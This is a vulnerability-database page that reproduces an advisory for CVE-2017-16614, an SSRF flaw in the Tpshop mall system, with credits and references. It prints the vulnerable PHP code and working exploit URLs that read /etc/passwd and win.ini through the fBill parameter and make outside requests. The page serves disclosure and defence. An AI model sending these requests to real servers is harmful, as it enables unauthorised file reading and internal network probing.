| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-2017-16614 | 30 Mar 201821:29 | – | attackerkb | |
| CVE-2017-16614 | 30 Mar 201821:00 | – | cve | |
| CVE-2017-16614 | 30 Mar 201821:00 | – | cvelist | |
| EUVD-2017-7804 | 7 Oct 202500:30 | – | euvd | |
| CVE-2017-16614 | 30 Mar 201821:29 | – | nvd | |
| Server side request forgery (ssrf) | 30 Mar 201821:29 | – | prion |
# SSRF(Server Side Request Forgery) in Tpshop <= 2.0.6 (CVE-2017-16614)
The Tpshop open source mall system is a multi-merchant mode mall system developed by Shenzhen Leopard Network Co.,
Ltd.This system is based on the Thinkphp development framework.
## Product Download: http://www.tp-shop.cn/Index/Index/download.html
## Vulnerability Type:SSRF(Server Side Request Forgery)
## Attack Type : Remote
## Vulnerability Description
Tpshop’s former version 2.0.6 is vulnerable to SSRF(Server Side Request Forgery) in the fBill parameter within the
"/plugins/payment/weixin/lib/WxPay.tedatac.php?fBil=" path. This vulnerability can lead to arbitrary files reading,
network port scanning,information detection, internal network server attack.
The vulnerability code:
if($_GET['fBill'] && $_GET['WxPayDataBase'])
{
header('Content-type: image/jpeg');
$handle = fopen($_GET['fBill'], 'r');
fseek($handle , $_GET['WxPayDataBase']);
fpassthru($handle);
}
## Exploit
http://tpshop_path/plugins/payment/weixin/lib/WxPay.tedatac.php?fBill=file:///c:/windows/win.ini&WxPayDataBase=test
modify the above fBill parameter,example:
request http protocol: fBill=http://www.google.com
request https protocol: fBill=https://www.google.com
request ftp protocol: fBill=ftp://www.google.com
file read:fBil=file:///etc/passwd or fBil=file:///c:/windows/win.ini
## Versions
Tpshop <= 2.0.6
## Impact
SSRF(Server Side Request Forgery) in Tpshop before version 2.0.6 allow remote attackers to arbitrary files read,scan
network port,information detection,internal network server attack.
## Credit
This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response
Technical Team/Coordination Center of China (CNCERT/CC)
## References
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16614
# 0day.today [2018-04-03] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation